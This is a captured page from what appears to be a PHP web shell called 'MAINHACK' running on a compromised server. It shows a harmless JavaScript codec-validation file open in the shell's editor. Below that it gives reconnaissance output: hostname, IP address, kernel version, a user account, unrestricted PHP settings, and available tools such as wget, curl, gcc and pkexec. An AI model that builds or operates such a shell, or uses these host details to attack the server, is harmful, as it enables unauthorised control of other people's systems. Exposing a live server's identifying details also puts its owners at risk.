[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: test-codec.js
'use strict'; var assert = require('assert'); /** * Reducer function that converts a codec list to a hash. * @throws Error on bad codec * @param {{name:string, decode:function, encode:function, root:function}} candidate A possible codec * @returns True where an error is not thrown */ function testCodec(candidate) { assert( !!candidate && (typeof candidate === 'object'), 'Codec must be an object' ); assert( (typeof candidate.name === 'string') && /^[\w-]+$/.test(candidate.name), 'Codec.name must be a kebab-case string' ); assert( (typeof candidate.decode === 'function') && (candidate.decode.length === 1), 'Codec.decode must be a function that accepts a single source string' ); assert( (typeof candidate.encode === 'undefined') || ((typeof candidate.encode === 'function') && (candidate.encode.length === 1)), 'Codec.encode must be a function that accepts a single absolute path string, or else be omitted' ); assert( (typeof candidate.root === 'undefined') || (typeof candidate.root === 'function') && (candidate.root.length === 0), 'Codec.root must be a function that accepts no arguments, or else be omitted' ); return true; } module.exports = testCodec;
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.44 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002